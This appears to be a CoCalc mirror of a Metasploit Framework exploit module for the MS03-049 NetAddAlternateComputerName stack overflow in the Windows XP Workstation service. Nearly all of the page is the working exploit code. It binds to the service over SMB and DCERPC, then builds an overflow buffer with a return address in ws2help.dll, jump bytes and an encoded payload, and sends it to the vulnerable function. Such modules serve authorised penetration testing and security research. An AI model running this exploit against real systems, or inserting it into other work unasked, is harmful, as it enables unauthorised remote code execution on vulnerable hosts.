CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/smb/ms03_049_netapi.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::DCERPC
10
include Msf::Exploit::Remote::SMB::Client
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'MS03-049 Microsoft Workstation Service NetAddAlternateComputerName Overflow',
15
'Description' => %q{
16
This module exploits a stack buffer overflow in the NetApi32 NetAddAlternateComputerName
17
function using the Workstation service in Windows XP.
18
},
19
'Author' => [ 'hdm' ],
20
'License' => MSF_LICENSE,
21
'References' =>
22
[
23
[ 'CVE', '2003-0812' ],
24
[ 'OSVDB', '11461' ],
25
[ 'BID', '9011' ],
26
[ 'MSB', 'MS03-049' ],
27
],
28
'DefaultOptions' =>
29
{
30
'EXITFUNC' => 'thread',
31
},
32
'Privileged' => true,
33
'Payload' =>
34
{
35
'Space' => 1000,
36
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c" + [*(0x80..0x9f)].pack('C*'),
37
'StackAdjustment' => -3500,
38
},
39
'Platform' => 'win',
40
'DefaultTarget' => 0,
41
'Targets' =>
42
[
43
[ 'Windows XP SP0/SP1',
44
{
45
'Ret' => 0x71aa32ad # pop/pop/ret in ws2help.dll
46
}
47
],
48
],
49
'DisclosureDate' => '2003-11-11'))
50
51
register_options(
52
[
53
OptString.new('SMBPIPE', [ true, "The pipe name to use (BROWSER, WKSSVC)", 'BROWSER']),
54
])
55
end
56
57
def exploit
58
59
connect()
60
smb_login()
61
62
handle = dcerpc_handle(
63
'6bffd098-a112-3610-9833-46c3f87e345a', '1.0',
64
'ncacn_np', ["\\#{datastore['SMBPIPE']}"]
65
)
66
67
print_status("Binding to #{handle} ...")
68
dcerpc_bind(handle)
69
print_status("Bound to #{handle} ...")
70
71
print_status("Building the stub data...")
72
73
74
name = rand_text_alphanumeric(5000)
75
name[3496, 4] = [target.ret].pack('V')
76
name[3492, 2] = "\xeb\x06"
77
name[3500, 5] = "\xe9" + [-3505].pack('V')
78
name[0, payload.encoded.length] = payload.encoded
79
80
stub =
81
NDR.long(rand(0xffffffff)) +
82
NDR.UnicodeConformantVaryingString("\\\\#{datastore['RHOST']}") +
83
NDR.long(rand(0xffffffff)) +
84
NDR.UnicodeConformantVaryingString(name) +
85
NDR.long(rand(0xffffffff)) +
86
NDR.UnicodeConformantVaryingString('') +
87
NDR.long(0) +
88
NDR.long(0)
89
90
print_status("Calling the vulnerable function...")
91
92
begin
93
dcerpc.call(0x1b, stub)
94
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
95
rescue => e
96
if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
97
raise e
98
end
99
end
100
101
# Cleanup
102
handler
103
disconnect
104
end
105
end
106
107